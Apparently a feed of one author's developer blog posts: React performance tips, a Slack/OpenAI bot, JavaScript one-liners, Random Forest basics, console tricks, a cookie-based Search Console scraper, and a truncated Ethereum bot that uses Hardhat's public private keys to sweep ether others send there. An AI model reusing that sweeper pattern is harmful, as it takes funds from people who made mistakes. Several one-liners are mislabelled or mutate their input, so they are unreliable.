Rendering strategy comparison:

Client-Side Rendering (CSR):

Browser downloads JavaScript
JavaScript executes and renders
Content becomes visible
Total time: 2-4 seconds

Server-Side Rendering (SSR):

Server renders HTML
Browser displays content immediately
JavaScript hydrates for interactivity
Total time: 0.5-1.5 seconds

Static Site Generation (SSG):

HTML pre-rendered at build time
Served from CDN (instant)
JavaScript hydrates for interactivity
Total time: 0.2-0.8 seconds

Next.js SSR implementation:

// pages/products/[id].js

// This runs on the server for every request
export async function getServerSideProps({ params }) {
  const product = await fetchProduct(params.id);

  return {
    props: {
      product
    }
  };
}

// Component receives pre-fetched data
export default function ProductPage({ product }) {
  return (
    <div>
      <h1>{product.name}</h1>
      <p>{product.description}</p>
      <button>Add to Cart</button>
    </div>
  );
}

Next.js SSG implementation:

// pages/blog/[slug].js

// This runs at build time
export async function getStaticPaths() {
  const posts = await fetchAllPosts();

  return {
    paths: posts.map(post => ({
      params: { slug: post.slug }
    })),
    fallback: 'blocking' // Generate new pages on-demand
  };
}

export async function getStaticProps({ params }) {
  const post = await fetchPost(params.slug);

  return {
    props: { post },
    revalidate: 3600 // Revalidate every hour
  };
}

export default function BlogPost({ post }) {
  return (
    <article>
      <h1>{post.title}</h1>
      <div dangerouslySetInnerHTML={{ __html: post.content }} />
    </article>
  );
}

Rendering Strategy Performance:

Strategy	Time to First Byte	First Contentful Paint	Time to Interactive	SEO Quality	Use Case
CSR	100-200ms	2-4s	2.5-5s	Poor	Authenticated apps
SSR	200-500ms	0.5-1.5s	1-2.5s	Excellent	Dynamic content
SSG	50-100ms	0.2-0.8s	0.5-1.5s	Excellent	Static content
ISR	50-150ms	0.2-1s	0.5-1.8s	Excellent	Semi-static content
Partial Hydration	50-150ms	0.2-0.8s	0.3-1.2s	Excellent	Mixed content

Incremental Static Regeneration (ISR):

ISR combines SSG benefits with SSR flexibility. Pages are statically generated but revalidate periodically:

export async function getStaticProps() {
  const data = await fetchData();

  return {
    props: { data },
    revalidate: 60 // Regenerate page every 60 seconds
  };
}

First user after 60 seconds triggers regeneration. They see stale content while new version generates. Subsequent users see updated version. This gives you static performance with fresh content.

Modern frameworks supporting SSR/SSG include Next.js, Remix, Gatsby, and Astro. Each optimizes differently, but all deliver faster initial loads than pure CSR.

For content-heavy sites, SSG cuts load times by 60-80% compared to CSR. For dynamic applications, SSR reduces perceived load time by 40-60%. The trade-off: increased server complexity and hosting costs.

Implementation Roadmap

Rolling out all 15 optimizations at once overwhelms teams. Here's a practical implementation sequence based on effort vs. impact:

Phase 1 - Quick Wins (Week 1-2):

Enable React Compiler (automatic memoization)
Implement route-based code splitting
Add image optimization and lazy loading
Configure bundle analyzer

Phase 2 - Foundation (Week 3-4):

Optimize state management (switch to Zustand if using Context)
Implement virtualization for large lists
Set up performance monitoring
Add database query optimization

Phase 3 - Advanced (Week 5-8):

Implement tree shaking and bundle optimization
Add PWA capabilities with service workers
Optimize CSS and defer third-party scripts
Implement memory leak prevention

Phase 4 - Architecture (Week 9-12):

Move to SSR/SSG where appropriate
Implement Web Workers for heavy computations
Full performance audit and tuning

Implementation Priority Matrix:

Optimization	Effort	Impact	Priority	Prerequisites
React Compiler	Low	Very High	1	React 19+
Code splitting	Low	Very High	1	None
Image optimization	Low	High	1	None
State management	Medium	Very High	2	Architecture review
Virtualization	Medium	High	2	Large lists identified
Performance monitoring	Low	High	2	Analytics setup
Database optimization	Medium	Very High	2	Backend access
Bundle analysis	Low	High	3	Build pipeline
PWA features	Medium	Medium	3	Service worker knowledge
CSS optimization	Medium	Medium	3	CSS audit
Third-party optimization	Low	High	3	Script inventory
Memory leak prevention	Medium	Medium	4	Development practices
Web Workers	High	Medium	4	Heavy computation identified
SSR/SSG	Very High	Very High	4	Framework migration

Measure everything. Lighthouse scores before and after each phase show real progress. Target scores: 90+ Performance, 100 Accessibility, 90+ Best Practices, 100 SEO.

FAQ Section

Q: How much performance improvement can I expect from React Compiler alone?

React Compiler typically delivers 30-60% reduction in unnecessary re-renders and 20-40% improvement in interaction latency for most applications. The exact improvement depends on your current code quality. Apps with already-optimized manual memoization see less benefit (10-20%), while apps with no optimization see dramatic improvements (50-80%). The real value: it prevents performance regressions as teams add features, since optimization happens automatically.

Q: Should I use Redux or Zustand for state management?

For new projects, Zustand delivers better performance with less boilerplate - it's my default choice. Redux makes sense if you need time-travel debugging, complex middleware, or your team already has Redux expertise. Performance-wise, Zustand's selective subscriptions prevent 40-70% more re-renders compared to Context API, while Redux with proper selectors performs similarly. The decision comes down to team familiarity and debugging requirements more than raw performance.

Q: When is SSR worth the complexity?

SSR makes sense when SEO matters (marketing sites, e-commerce, content platforms) or when First Contentful Paint significantly impacts conversions. If you're building authenticated dashboards or internal tools, CSR with aggressive caching often performs better. SSG (Static Site Generation) gives you 90% of SSR's benefits with 50% less complexity for content that updates hourly rather than second-by-second. Start with SSG via Next.js - you can always upgrade to SSR for specific pages.

Q: How do I identify which components are causing performance issues?

Use React DevTools Profiler to record user interactions, then check which components render frequently and take >16ms. Sort by "Render duration" to find slow components. Check Chrome DevTools Performance tab for main thread blocking >50ms. Memory leaks show up as steadily increasing heap size in Memory profiler. For production monitoring, tools like Sentry or LogRocket track real user performance and catch issues before users complain.

Q: What's the best way to handle images in React applications?

Use a modern image component like Next.js Image or a CDN-based solution (Cloudinary, Imgix). Key requirements: automatic WebP/AVIF conversion, responsive sizes, lazy loading for below-fold images, explicit dimensions to prevent layout shift, and compressed quality (80-85%). For user-uploaded images, process them server-side during upload rather than client-side. This delivers 50-70% smaller file sizes and eliminates client-side processing overhead.

Q: How do I balance performance optimization with development speed?

Focus on high-impact, low-effort optimizations first: React Compiler, code splitting, image optimization, and proper state management architecture. These four changes deliver 60-80% of potential performance improvements with minimal development overhead. Save complex optimizations (Web Workers, advanced SSR, micro-optimizations) for specific bottlenecks identified through profiling. Similar to building production-ready systems, start with solid architecture and optimize based on metrics.

Q: What's the minimum acceptable performance for modern web apps?

Target Lighthouse scores: 90+ Performance, 100 Accessibility, 90+ Best Practices. Specific metrics: First Contentful Paint <1.8s, Largest Contentful Paint <2.5s, Cumulative Layout Shift <0.1, First Input Delay <100ms. Mobile performance should be within 30% of desktop. If you're below these thresholds, users notice lag and bounce rates increase measurably. Core Web Vitals also affect SEO rankings, making performance a business requirement, not just a technical preference.

Q: Should I use CSS-in-JS or traditional CSS for better performance?

Traditional CSS (CSS Modules or utility-first frameworks like Tailwind) delivers better runtime performance since styles are parsed once at page load. CSS-in-JS libraries add 10-30ms runtime overhead for style injection and parsing on every render. The performance gap matters most for frequently-rendered components and complex animations. That said, CSS-in-JS offers better developer experience for component-based styling. For maximum performance, use static CSS extraction with libraries like compiled or vanilla-extract that generate static CSS at build time.

Q: How can I reduce third-party script impact without removing functionality?

Load scripts asynchronously with defer or async attributes, implement facade patterns for heavy embeds (YouTube, maps), lazy load scripts only when needed (analytics when user interacts, chat widgets on button click), use Partytown to move scripts to Web Workers, self-host critical scripts to reduce external requests, and consider lightweight alternatives (Plausible instead of Google Analytics, Mapbox instead of Google Maps). These strategies typically reduce third-party impact by 60-80% while maintaining 90%+ of functionality. For more optimization strategies across the stack, explore development efficiency techniques.

Final Words

React performance optimization isn't rocket science - it's systematic application of proven techniques based on how browsers and React actually work.

The 15 strategies covered here represent 16 years of real-world experience optimizing everything from small startups to enterprise platforms serving millions. They're not theoretical best practices; they're battle-tested solutions that consistently deliver measurable improvements.

Start with the Phase 1 quick wins: React Compiler, code splitting, image optimization, and monitoring. These four changes alone improve most React apps by 40-60% with minimal effort. Then systematically work through state management, virtualization, and architectural optimizations.

Performance is a feature. Users feel the difference between a 200ms and 50ms interaction, even if they can't articulate why your app feels "better." They vote with their attention, time, and money. Fast apps win.

The tools exist. The techniques work. What separates high-performing applications from sluggish ones isn't access to secret knowledge - it's commitment to measurement, systematic optimization, and refusing to compromise on user experience.

Your React app can be fast. Make it happen.

Want help optimizing your React application? I work with development teams on performance audits, architecture reviews, and implementation guidance. Learn more about my work or get in touch to discuss your specific performance challenges.

Create an Interactive AI Chatbot in Slack using Python and OpenAI API

Alex Bobes — Tue, 16 May 2023 10:42:14 +0000

This Python-based project will introduce you to the Slack API, OpenAI's GPT-3 API, and the Flask web framework. We'll create a command that allows users to interact with the bot using a simple /chatgpt command in Slack. After completing this tutorial, you'll have a fully functioning Slack bot capable of understanding natural language and providing intelligent responses.

Importing Required Libraries

In the first section we import all the required libraries that will be used in the application. These libraries allow us to interact with the filesystem, manage environment variables, create a web server, interact with the Slack API, handle threading, and interact with the OpenAI API.

# Import required libraries
import os
from dotenv import load_dotenv
from flask import Flask, render_template, request, jsonify
from slack_sdk import WebClient
from slack_sdk.errors import SlackApiError
from slack_bolt import App
from slack_bolt.adapter.socket_mode import SocketModeHandler
from slack_bolt.context.say import Say
from threading import Thread
import openai

Loading Environment Variables

Here we load environment variables from a .env file. This is useful for managing sensitive information such as API keys and tokens, which we don't want to hardcode into our script.

# Load environment variables from a .env file
load_dotenv()

Creating a Flask Application

We create a new instance of a Flask application. Flask is a lightweight web server framework in Python.

# Create a new Flask web server instance
app = Flask(__name__)

Setting API Keys and Tokens

We retrieve the OpenAI API key, Slack Bot token, and Slack App token from the environment variables and set the OpenAI API key for the openai library.

# Load environment variables
api_key = os.environ.get('OPENAI_API_KEY')
SLACK_BOT_TOKEN = os.environ.get('SLACK_BOT_TOKEN')
SLACK_APP_TOKEN = os.environ.get('SLACK_APP_TOKEN')

# Set the OpenAI API key
openai.api_key = api_key

Creating a Slack App

We create a new Slack app using the bot token. This allows us to interact with the Slack API and listen for events.

# Create a new Slack app with the bot token
slack_app = App(token=SLACK_BOT_TOKEN)

Defining a Command Handler

Here we define a command handler for the /chatgpt command in Slack. When a user types this command followed by a message, this function will be triggered. It acknowledges the command, extracts the message, sends the message to the OpenAI API, extracts the AI's response, and posts the user's message and the AI's response back to the channel.

# Define a command handler for the /chatgpt command
@slack_app.command("/chatgpt")
def command(ack, say, command):
    # Acknowledge the command right away
    ack()

    # Extract the user's message
    text = command['text']

    # Query the OpenAI API
    response = openai.ChatCompletion.create(
        model="gpt-3.5-turbo",
        messages=[
            {"role": "system", "content": "You are a helpful assistant."},
            {"role": "user", "content": text}
        ]
    )

    # Extract the AI's response
    response_text = response['choices'][0]['message']['content']

    # Post the user's message, the response, and a dashed line back to the same channel
    say(f"*User's message:* {text}\n*AI's response:* {response_text}\n----------------")

Starting the Flask Application

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=3333)

Setting up your Slack Bot

You'll need to create and configure your Slack bot. Here's how to do it:

Create a Slack App

Visit the Slack API website and sign in to your Slack account: https://api.slack.com/apps?new_app=1
Click the "Create New App" button
Select your Slack workspace

Enable Bot Token Scopes

Navigate to "OAuth & Permissions" in the sidebar, then scroll down to "Bot Token Scopes". Here you need to add the required scopes for your bot. To read and write messages, you'll need the following scopes at a minimum:

app_mentions:read
channels:history
channels:read
chat:write
commands

Enable Socket Mode

Go to the "Socket Mode" section and enable it. This will allow your app to use the Socket Mode, which allows your app to receive events directly via a WebSocket connection. Copy the "App Level Token" (it starts with "xapp-").

Install the App

Navigate back to "OAuth & Permissions" and click "Install App to Workspace". Follow the prompts to authorize the bot in your workspace.

Retrieve Your Tokens

After installing the app, you'll be redirected back to the "OAuth & Permissions" page. Here, you'll see a section for "Tokens for Your Workspace". Copy the "Bot User OAuth Token" (it should start with "xoxb-") and the "App Level Token" (it should start with "xapp-"). You'll need these for your Python code.

Create a Slash Command

Click on "Slash Commands" in the sidebar, then "Create New Command". Enter /chatgpt as the command. Fill out the rest of the form and click "Save".

Update Your Python Code

In your Python code, replace SLACK_BOT_TOKEN, SLACK_APP_TOKEN and OPENAI_API_KEY with your actual tokens.

Invite the Bot to a Channel

Finally, go to your Slack workspace and invite your bot to a channel by adding him from the Integrations tab. Your bot should now be ready to respond to the /chatgpt command.

Running the Script in Production with PM2

PM2 is a powerful, feature-rich process manager in Node.js. It allows you to keep your applications running forever, reloads them without downtime, helps in the administration of your application's logs, and much more.

First, you'll need to have Node.js and npm (Node Package Manager) installed on your system. Once you have Node.js and npm installed, you can install PM2 using npm:

npm install -g pm2

Start Your Application with PM2

To start your application with PM2, navigate to your project directory in the terminal and run:

pm2 start app.py --name gpt-3-slack-bot --interpreter python3

You're now running your Flask application in a production environment with PM2. Your application will be automatically restarted if it crashes and will also be started when your system reboots.

GitHub Repo: https://github.com/alexbobes/chatgpt-slack-bot

And that's it! You now have a fully functioning AI chatbot integrated with your Slack workspace, all powered by OpenAI's GPT-3 model (or GPT-4 you have access to it).

I hope you found this tutorial helpful. If you have any questions, comments, or suggestions, feel free to leave them below.

Thanks for reading, and happy coding!

Optimize Your Coding with These 30 Efficient JavaScript One-Liners

Alex Bobes — Thu, 02 Feb 2023 16:40:24 +0000

Hey fellow developers!

In this article, I will share with you 30 powerful one-liner code snippets in JavaScript that can help you optimize your coding and write more efficient, cleaner code. These one-liners are designed to help you accomplish common tasks with less code, making your development process faster, easier, and more enjoyable.

Without further ado, let's dive into the code.

1) Get the length of an array:

const length = arr => arr.length;

2) Check if an array is empty:

const isEmptyArray = arr => arr.length === 0;

3) Reverse an array:

const reverse = arr => arr.reverse();

4) Get the first element of an array:

const first = arr => arr[0];

5) Get the last element of an array:

const last = arr => arr[arr.length - 1];

6) Get the sum of all elements in an array:

const sum = arr => arr.reduce((acc, cur) => acc + cur, 0);

7) Get the product of all elements in an array:

const product = arr => arr.reduce((acc, cur) => acc * cur, 1);

8) Get the average of all elements in an array:

const average = arr => arr.reduce((acc, cur) => acc + cur, 0) / arr.length;

9) Check if a value is in an array:

const includes = (arr, val) => arr.includes(val);

10) Remove duplicates from an array:

const unique = arr => [...new Set(arr)];

11) Get the difference of two arrays:

const difference = (arr1, arr2) => arr1.filter(x => !arr2.includes(x));

12) Get the intersection of two arrays:

const intersection = (arr1, arr2) => arr1.filter(x => arr2.includes(x));

13) Flatten a nested array:

const flatten = arr => arr.flat();

14) Get the maximum value in an array:

const max = arr => Math.max(...arr);

15) Get the minimum value in an array:

const min = arr => Math.min(...arr);

16) Get the nth largest value in an array:

const nthLargest = (arr, n) => arr.sort((a, b) => b - a)[n - 1];

17) Get the nth smallest value in an array:

const nthSmallest = (arr, n) => arr.sort((a, b) => a - b)[n - 1];

18) Get the frequency of each element in an array:

const frequency = arr => arr.reduce((acc, cur) => {
  acc[cur] = acc[cur] ? acc[cur] + 1 : 1;
  return acc;
}, {});

19) Get the distinct elements in an array:

const distinct = arr => [...new Set(arr)];

20) Check if an array is sorted in ascending order:

const isSortedAscending = arr => arr.every((val, i , cur) => !i || val >= arr[i - 1]);

21) Check if an array is sorted in descending order:

const isSortedDescending = arr => arr.every((val, i, cur) => !i || val <= arr[i - 1]);

22) Remove falsy values from an array:

const compact = arr => arr.filter(Boolean);

23) Get the first n elements of an array:

const firstN = (arr, n) => arr.slice(0, n);

24) Get the last n elements of an array:

const lastN = (arr, n) => arr.slice(arr.length - n, arr.length);

25) Get the sum of all even numbers in an array:

const sumOfEven = arr => arr.filter(x => x % 2 === 0).reduce((acc, cur) => acc + cur, 0);

26) Get the sum of all odd numbers in an array:

const sumOfOdd = arr => arr.filter(x => x % 2 !== 0).reduce((acc, cur) => acc + cur, 0);

27) Get the elements that occur n times in an array:

const nOccurrences = (arr, n) => {
const frequency = arr.reduce((acc, cur) => {
acc[cur] = acc[cur] ? acc[cur] + 1 : 1;
return acc;
}, {});
return Object.keys(frequency).filter(x => frequency[x] === n);
};

28) Remove the first element of an array:

const removeLast = arr => arr.slice(0, arr.length - 1);

29) Remove the last element of an array:

const removeLast = arr => arr.slice(0, arr.length - 1);

30) Check if an array is a palindrome:

const isPalindrome = arr => arr.toString() === arr.reverse().toString();

And that's just the tip of the iceberg. These one-liners are versatile and can be used in a variety of situations to streamline your code.

It's worth mentioning that some of these one-liners might have been posted or published before in various sources, but the purpose of this post is to bring together a comprehensive collection of useful and efficient JavaScript one-liners that can help developers optimize their coding.

Getting Started with Machine Learning: A Beginner's Guide to Random Forest Algorithm

Alex Bobes — Thu, 19 Jan 2023 09:57:31 +0000

As a developer, one of the most exciting things about working with cutting-edge technology is the ability to build intelligent systems that can make decisions on their own. One way to do this is through the use of Machine Learning (ML) algorithms. In this post, I will be discussing one of the most popular ML algorithms, Random Forest, and will provide a code example to help you get started with using it in your own projects.

Random Forest is a type of decision tree algorithm that uses multiple decision trees to make predictions. The idea behind it is that each tree in the forest is built using a random subset of the data, and the final prediction is made by taking the average of all the trees in the forest. This helps to reduce overfitting, which is a common problem with decision tree algorithms.

To get started with using Random Forest, you'll need to install the (python) scikit-learn library. You can do this by running the following command:

pip install scikit-learn

Once you have the library installed, you can import it and start building your model. Here's an example of how you can use Random Forest to classify iris flowers based on their sepal and petal length and width:

from sklearn.datasets import load_iris
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split

iris = load_iris()
X = iris.data
y = iris.target

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

clf = RandomForestClassifier()
clf.fit(X_train, y_train)

accuracy = clf.score(X_test, y_test)
print("Accuracy:", accuracy)

In this example, we're first loading the iris dataset from the scikit-learn library. Next, we're splitting the data into training and test sets using the train_test_split() function. We then create an instance of the *RandomForestClassifier() * class and fit it to the training data. Finally, we're evaluating the model's accuracy on the test set by calling the score() method.

Let's now take a look at a more practical example. Imagine you are working on a project where you want to predict whether a customer is going to default on a loan or not, based on various features such as income, age, employment status, etc. Here is an example of how you can use the Random Forest algorithm to predict loan default:

import pandas as pd
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split

data = pd.read_csv('loan_data.csv')
X = data.drop(['default'], axis=1)
y = data['default']

X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

clf = RandomForestClassifier()
clf.fit(X_train, y_train)

accuracy = clf.score(X_test, y_test)
print("Accuracy:", accuracy)

In this example, we're first loading the loan data from a CSV file. Next, we're splitting the data into training and test sets using the train_test_split() function. We then create an instance of the RandomForestClassifier() class and fit it to the training data. Finally, we're evaluating the model's accuracy on the test set by calling the score() method.

It's worth noting that Random Forest is a powerful algorithm, but it is important to understand that it is not a magic solution for all problems. It can be computationally expensive and may not work well with high-dimensional datasets. It's always good to try different algorithms and pick the one that works best for your specific use case.

In conclusion, Random Forest is a great algorithm to start with if you're interested in building intelligent systems using Machine Learning. I hope this code example helps you get started with using it in your own projects. As always, if you have any questions or feedback, feel free to leave a comment.

Let's have fun with console.log

Alex Bobes — Sat, 08 Oct 2022 12:28:46 +0000

Console.log(...) is a familiar method to anyone who has developed a web app; it prints data to the developer console and can be used for testing, logging, and debugging.

If you run the command console.log(console), you'll notice that the console object has a lot more functionality than you initially thought.

This post will provide a concise overview of the top cool tricks that you can utilize to take your logging experience to the next level.

Tables

The console.table() method generates output that is in the form of tables that are neatly formatted.

console.table({
  'Time Stamp': new Date().getTime(),
  'OS': navigator['platform'],
  'Browser': navigator['appCodeName'],
  'Language': navigator['language'],
});

Groups

Console.group allows you to group console statements that are related together and create sections that can be collapsed ().

You have the option of providing a title for a section by passing a string to the parameter in question. You can collapse and expand sections using the console; however, you can also set a section to always be collapsed by default by using the groupCollapsed function rather than the group function. You can also nest sub-sections within sections, but you must keep in mind to finish off each group by using the groupEnd command.

console.group('URL Info');
  console.log('Protocol', window.location.protocol);
  console.log('Host', window.origin);
  console.log('Path', window.location.pathname);
  console.groupCollapsed('Meta Info');
    console.log('Date Fetched', new Date().getTime());
    console.log('OS', navigator['platform']);
    console.log('Browser', navigator['appCodeName']);
    console.log('Language', navigator['language']);
  console.groupEnd();
console.groupEnd();

Styled Logs

It is possible to style the output of your logs by using some fundamental CSS, such as changing the colors, fonts, text styles, and sizes. Take note that the level of support offered by browsers varies quite a bit.

console.log(
  '%cHello World!',
  'color: #f709bb; font-family: sans-serif; text-decoration: underline;'
);

Time

One more common method of debugging is called measuring execution time, and its purpose is to determine how long an operation takes. This can be done by beginning the process of timing using the console.time() followed by passing in a label, and finally stopping the timer via the console.timeEnd(), making use of the previous label. Through the use of the console.timelog(), it is also possible to add markers while an operation is still running.

console.time("concatenation");
let output = "";
for (var i = 1; i <= 1e6; i++) {
  output += i;
}
console.timeEnd("concatenation");

concatenation: 1206ms - timer ended

Log Levels

You may have noticed that the browser console has several filters (info, warnings, and error), and that these filters give you the ability to change the amount of verbosity in the data that is logged. Simply replace your existing log statements with one of the following to begin utilizing these filters:

console.info() - Informational messages for logging purposes, commonly includes a small "i" and / or a blue background
console.warn() - Warnings / non-critical errors, commonly includes a triangular exclamation mark and / or yellow background
console.error() - Errors which may affect the functionality, commonly includes a circular exclamation mark and / or red background

Log String Formats

You can use format specifiers in conjunction with printf in a C-style program to create formatted strings for output if this is a requirement.

%s - String or any other type converted to string
%d / %i - Integer
%f - Float
%o - Use optimal formatting
%O - Use default formatting
%c - Use custom formatting (more info)

Visit the Chrome Dev Console Docs or the MDN console Documentation for additional details and information.

How to Scrape Google Search Console Backlinks

Alex Bobes — Fri, 15 Jul 2022 08:08:26 +0000

If you’re a Webmaster or SEO specialist, most probably you need to do backlink audits regularly. There are situations when you are forced to find toxic backlinks and disavow them. However, it’s very hard to export and correlate manually all Backlinks data from Google Search Console.

If the websites you’re working with are substantially large, there would be a lot of clicking and exporting involved to get this data out of GSC, it’s simply not doable.

Here is where Python, Beautiful Soup, Pandas come in — they will allow you to scrape GSC and pull the data you need automatically.

First things first:

Install the following packages using pip: bs4, requests, re, pandas, csv

Emulate a user session

In order to scrape Google Search Console for backlink information we need to emulate a normal user. We do this by simply going into your browser of choice, opening the Links section in GSC and selecting the Top linking sites section. Once here, we need to inspect the source code of the page by right clicking and hitting Inspect.

In the dev tools, we go to the network tab and select the first URL that appears and is a document type, it should be a request on a URL of the following type: https://search.google.com/search-console/links?resource_id=sc-domain%3A{YourDomainName}

Click on the URL and look at the Headers section for the Request Headers section as per the image below:

In order to emulate a normal session, we will need to add to our Python requests the request information that we see in the request header.

A few notes on this process:

You will notice that your request header will also contain cookie information. Python-wise, for the requests library, this information will be stored into a dictionary called cookies. The rest of the information will be stored into a dictionary named headers.

In effect, what we are doing is to take the information from the header and transform it into two dictionaries as per the code from below.

*** replace [your-info] with your actual data**

from bs4 import BeautifulSoup
import requests
import re
import pandas as pd
import csv

headers = {
    "authority": "search.google.com",
    "method":"GET",
    "path":'"[your-info]"',
    "scheme":"https",  
    "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "accept-encoding":"gzip, deflate, br",
    "accept-language":"en-GB,en-US;q=0.9,en;q=0.8,ro;q=0.7",
    "cache-control":"no-cache",
    "pragma":"no-cache",
    "sec-ch-ua":"navigate",
    "sec-fetch-site":"same-origin",
    "sec-fetch-user":"?1",
    "upgrade-insecure-requests":"1",
    "user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36",
    "x-client-data":"[your-info]",
    "sec-ch-ua":'" Not A;Brand";v="99", "Chromium";v="100", "Google Chrome";v="100"',
    "sec-ch-ua-mobile": "?0",
    "sec-fetch-dest": "document",
    "sec-fetch-mode": "navigate"
}
cookies = {
    "__Secure-1PAPISID":"[your-info]",
    "__Secure-1PSID":"[your-info]",
    "__Secure-3PAPISID":"[your-info]",
    "__Secure-3PSID":"[your-info]",
    "__Secure-3PSIDCC":"[your-info]",
    "1P_JAR":"[your-info]",
    "NID":"[your-info]",
    "APISID":"[your-info]",
    "CONSENT":"[your-info]",
    "HSID":"[your-info]",
    "SAPISID":"[your-info]",
    "SID":"[your-info]",
    "SIDCC":"[your-info]",
    "SSID":"[your-info]",
    "_ga":"[your-info]",
    "OTZ":"[your-info]",
    "OGPC":"[your-info]"
}

The information displayed in your request header might be different in your case, don’t worry about the differences as long as you can create the two dictionaries.

Once this is done, execute the cell with the header and cookies information as it’s time to start working on the first part of the actual script — collecting a list of referring domains that link back to your website.

*** replace [your-domain] with your actual domain**

genericURL = "https://search.google.com/search-console/links/drilldown?resource_id=[your-domain]&type=EXTERNAL&target=&domain="
req = requests.get(genericURL, headers=headers, cookies=cookies)
soup = BeautifulSoup(req.content, 'html.parser')

The above URL is in effect the URL in the Top linking sites section, so, please ensure that you update it accordingly.

You can test that you are bypassing the login by running the following code:

g_data = soup.find_all("div", {"class": "OOHai"})
for example in g_data:
    print(example)
    break

The output of the above code should be a div with a class called “00Hai”. If you see anything of the sort, you can continue.

Create a List of Referring Domains

The next step in this process will be to leverage Python and Pandas to return a list with all of the referring domains that point at your domain.

g_data = soup.find_all("div", {"class": "OOHai"})

dfdomains = pd.DataFrame()
finalList = []
for externalDomain in g_data:
    myList = []
    out = re.search(r'<div class="OOHai">(.*?(?=<))', str(externalDomain))
    if out:
        myList.append(out.group(1))
    finalList.append(myList) 
dfdomains = dfdomains.append(pd.DataFrame(finalList, columns=["External Domains"]))

domainsList = dfdomains["External Domains"].to_list()

The above code initialises an empty Pandas dataFrame, which will be populated with the external domains. The domains are identified by running through the entire HTML and identifying all of the divs that are in the “OOHai” class. If any such information is present, the dfdomains dataFrame will be populated with the name of the external domains.

Extract Backlink information for each Domain**

Next we will extract the backlink information for all domains, Top sites linking to this page and also Top linking pages (practically the 3rd level from GSC, only the first value).

def extractBacklinks():
    for domain in domainsList[:]:
        url = f"https://search.google.com/search-console/links/drilldown?resource_id=[your-domain]&type=EXTERNAL&target={domain}&domain="

        request = requests.get(url, headers=headers, cookies=cookies)
        soup = BeautifulSoup(request.content, 'html.parser')

        for row in soup.find_all("div", {"class": "OOHai"}):          
            output = row.text
            stripped_output = output.replace("", "")

            domain_stripped = str(domain.split('https://')[1].split('/')[0])

            print ("---------")
            print ("Domain: " + domain)
            print ("---------")

            url_secondary = f"https://search.google.com/search-console/links/drilldown?resource_id=[your-domain]&type=EXTERNAL&target={domain}&domain={stripped_output}"
            request_secondary = requests.get(url_secondary, headers=headers, cookies=cookies)
            soup_secondary = BeautifulSoup(request_secondary.content, 'html.parser')
            for row in soup_secondary.find_all("div", {"class": "OOHai"}):
                output_last = row.text
                stripped_output_last = output_last.replace("", "")
                break

            with open(f"{domain_stripped}.csv", 'a') as file:
                writer = csv.writer(file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
                writer = writer.writerow([domain, stripped_output, stripped_output_last])
            file.close()

extractBacklinks()

Because Beautiful Soup is returning some strange characters we are stripping them using Python .replace method.

All the URLs are added in a .csv file (located in the same directory where the script is present).

Have fun!

A Step-by-Step Guide to Building a Simple Ethereum Bot

Alex Bobes — Wed, 13 Jul 2022 11:17:43 +0000

This guide is intended for educational and/or research purposes only!

The bot we'll build in this tutorial will automatically withdraw funds from an account whenever it receives Ethereum.

Accounts from Hardhat will be used as a case study (Hardhat is an Ethereum developer environment). There are 20 deterministic accounts provided by Hardhat, but some people mistakenly transfer real Ethereum to those accounts. Lots of bots are eager to get their hands on the available ether.

To avoid competition with Mainnet bots, we're launching the bot on Rinkeby (Ethereum's test network).

Get access to the private keys

Npx hardhat node command retrieves the private keys from Hardhat. You can copy and paste the private keys from the list below.

It's critical to note that everyone who requests Hardhat accounts (public address + private keys) receive the exact same set of information. If you take a look on Etherscan at the account's transaction history you can see real transactions being made in the past.

Ethereum Bot

JavaScript will be used to build the bot, with NodeJS and the ethers library as the only external dependencies. The ethers.js library aims to be a complete and compact library for interacting with the Ethereum Blockchain and its ecosystem.

Run the following commands:

mkdir eth_bot
cd eth_bot
npm init
npm i ethers 
touch eth_bot.js

Add the following code to eth_bot.js:

const { ethers } = require("ethers");
const provider = new ethers.providers.JsonRpcProvider("rinkeby_or_alchemy_or_infura_url");
const addressReceiver = "your_eth_address";

const privateKeys =
     ["0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80",
      "0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d",
      "0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6",
      "0x47e179ec197488593b187f80a00eb0da91f1b9d0b13f8733639f19c30a34926a",
      "0x8b3a350cf5c34c9194ca85829a2df0ec3153be0318b5e2d3348e872092edffba",
      "0x92db14e403b83dfe3df233f83dfa3a0d7096f21ca9b0d6d6b8d88b2b4ec1564e",
      "0x4bbbf85ce3377467afe5d46f804f221813b2bb87f24d81f60f1fcdbf7cbf4356",
      "0xdbda1821b80551c9d65939329250298aa3472ba22feea921c0cf5d620ea67b97",
      "0x2a871d0798f97d79848a013d4936a73bf4cc922c825d33c1cf7073dff6d409c6",
      "0xf214f2b2cd398c806f84e317254e0f0b801d0643303237d97a22a48e01628897",
      "0x701b615bbdfb9de65240bc28bd21bbc0d996645a3dd57e7b12bc2bdf6f192c82",
      "0xa267530f49f8280200edf313ee7af6b827f2a8bce2897751d06a843f644967b1",
      "0x47c99abed3324a2707c28affff1267e45918ec8c3f20b8aa892e8b065d2942dd",
      "0xc526ee95bf44d8fc405a158bb884d9d1238d99f0612e9f33d006bb0789009aaa",
      "0x8166f546bab6da521a8369cab06c5d2b9e46670292d85c875ee9ec20e84ffb61",
      "0xea6c44ac03bff858b476bba40716402b03e41b8e97e276d1baec7c37d42484a0",
      "0x689af8efa8c651a91ad287602527f3af2fe9f6501a7ac4b061667b5a93e037fd",
      "0xde9be858da4a475276426320d5e9262ecfc3ba460bfac56360bfa6c4c28b4ee0",
      "0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e"
     ];

Infura, Alchemy or any other provider can be added to const provider and your ETH address to the constant addressReceiver.

Insert the following code right after the privateKeys array: "

const bot = async () => {
  provider.on("block", async () => {
